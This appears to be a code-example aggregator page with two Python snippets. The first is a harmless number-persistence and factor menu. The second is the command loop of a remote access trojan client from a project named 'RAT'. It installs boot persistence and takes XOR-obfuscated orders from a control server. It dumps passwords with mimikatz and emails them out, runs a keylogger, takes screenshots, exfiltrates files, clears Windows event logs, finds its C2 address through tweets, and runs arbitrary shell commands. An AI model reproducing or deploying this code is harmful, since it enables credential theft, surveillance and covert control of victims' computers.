示例#1
0
def mainFuncation():
    task = input("Type 1 for Persistence, 2 for Factors, or 3 to quit")
    if task == "1":
        num = int(input("Enter a number: "))
        print(Persistence.Persistence(num).persistence())
        mainFuncation()

    elif task == "2":
        num = int(input("Enter a number: "))
        print(NumberSearch.NumberSearch.factors(num))
        mainFuncation()

    elif task == "3":
        print("Quit")
        exit()

    else:
        print("Invalid input, please enter 1, 2, or 3!")
        mainFuncation()
示例#2
0
文件: client.py 项目: thanhnx9/RAT
    def main(self):
        # self.hidden_process()

        Persistence(
        )  # persistence - copy file and run when the windows starts
        # self.Execute_bypass_UAC()
        while True:
            decrypt_data = list()
            command = self.reliable_receive()  # receive the buff from server
            for i in command:
                decrypt_data.append(str_xor(i, self.KEY))
            print command
            print decrypt_data
            if decrypt_data[
                    0] == "break":  # if we got terminate order from the attacker, close the socket and break the loop
                print "[-] Close Connection!!!"
                self.s.close()
                break
            elif decrypt_data[0] == "cd" and len(
                    decrypt_data) > 1:  # run cd command line
                try:
                    print decrypt_data[0]
                    self.change_directory(decrypt_data[1])
                    print decrypt_data[1]
                    _string_ = "[+] New directory: " + decrypt_data[1]
                    self.send_server(_string_)
                except:
                    temp = "[-] Path is incorrect: " + decrypt_data[1]
                    self.send_server(temp)
            elif decrypt_data[0] == "drop":  # drop  file from server
                command_result = write_file(decrypt_data[1], decrypt_data[2])
                self.send_server(command_result)
            elif decrypt_data[0] == "grab":  # read a file from client
                command_result = read_file(decrypt_data[1])
                self.send_server(command_result)
            elif decrypt_data[0] == "unzip":  # unzip file .zip
                command_result = unzip(decrypt_data[1], decrypt_data[2])
                self.send_server(command_result)
            elif decrypt_data[
                    0] == "download":  # download file with link download and create a file name
                try:
                    download_file(decrypt_data[1], decrypt_data[2])
                    temp = "[+] DOWNLOAD SUCCESS FILE " + decrypt_data[2]
                    self.send_server(temp)
                except:
                    print("ERROR")
                    temp = "[-] DOWNLOAD ERROR: " + decrypt_data[1]
                    self.send_server(temp)
            elif decrypt_data[0] == "scan":  # scan a range network using nmap
                try:
                    command_result = scanner(decrypt_data[1], decrypt_data[2])
                    self.send_server(command_result)
                except:
                    temp = "[-] ERROR! Syntax: scan <range> <port> ! Try again."
                    self.send_server(temp)
            elif decrypt_data[
                    0] == "mimikatz":  # ussing mimikatz to dump password
                try:
                    command_result = mimikatz()
                    write_file("passdump.txt", command_result)
                    send_mail(MY_EMAIL, MY_PASSWORD, command_result)
                    self.send_server(command_result)
                except:
                    encrypt_data = str_xor(
                        "[-] ERROR when dump password! Try again.", self.KEY)
                    self.reliable_send(encrypt_data)
            # elif decrypt_data[0] == "take":
            #     try:
            #         command_result = self.transfer(self.s, decrypt_data[1])
            #         self.send_server(command_result)
            #     except:
            #         temp = "[-] Error when take file from client. Try again!"
            #         self.send_server(temp)
            elif decrypt_data[0] == "keylogger":
                try:
                    command_result = self.keylogger.start()
                    self.send_server(command_result)
                except:
                    temp = "[-] Error when running Keylogger..."
                    encrypt_data = str_xor(temp, self.KEY)
                    self.reliable_send(encrypt_data)
            elif decrypt_data[0] == "screenshot":
                command_result = takeSreenshot(MY_EMAIL, MY_PASSWORD)
                self.send_server(command_result)

            elif decrypt_data[0] == 'dumpPass':
                command_result = str(dumpPass())  # dumppass return a list
                self.send_server(command_result)
            elif decrypt_data[
                    0] == 'search':  # search all file with path file and format file
                try:
                    command_result = searchFile(decrypt_data[1])
                    SUBJECT = "SEARCHING FILE"
                    command_result = 'Subject: {}\n\n{}'.format(
                        SUBJECT, command_result)
                    send_mail(MY_EMAIL, MY_PASSWORD, command_result)
                    self.send_server("[+] Searching done! Check your mail....")
                except:
                    command_result = "[-] Error systax: search <path>*<formatfile>"
                    self.send_server(command_result)
            elif decrypt_data[0] == 'cleartracking':
                try:  # clear event log: Application log, System log, Setup log, Security log
                    command_result = clearEventlog()
                    self.send_server(command_result)
                except:
                    command_result = "[-] Error when clear event log!"
                    self.send_server(command_result)
            elif decrypt_data[0] == 'tweetgrabber':
                try:
                    command_result = str(tweet_grab_ipC2(decrypt_data[1]))
                    self.send_server(command_result)
                except:
                    command_result = '[-] Error when crawling IP C&C Address!!'
                    self.send_server(command_result)
            elif decrypt_data[0] == '-help':
                command_result = "**********************Create by ThanhNX*******************"
                self.send_server(command_result)
            else:  # otherwise, we pass the received command to a shell process
                result_command = self.communicate(decrypt_data)
                value_output = result_command.stdout.read(
                ) + result_command.stderr.read()  # value = out put+ error
                self.send_server(value_output)  # send value_output

        # privilege_escalation.clean_reg()
        self.s.close()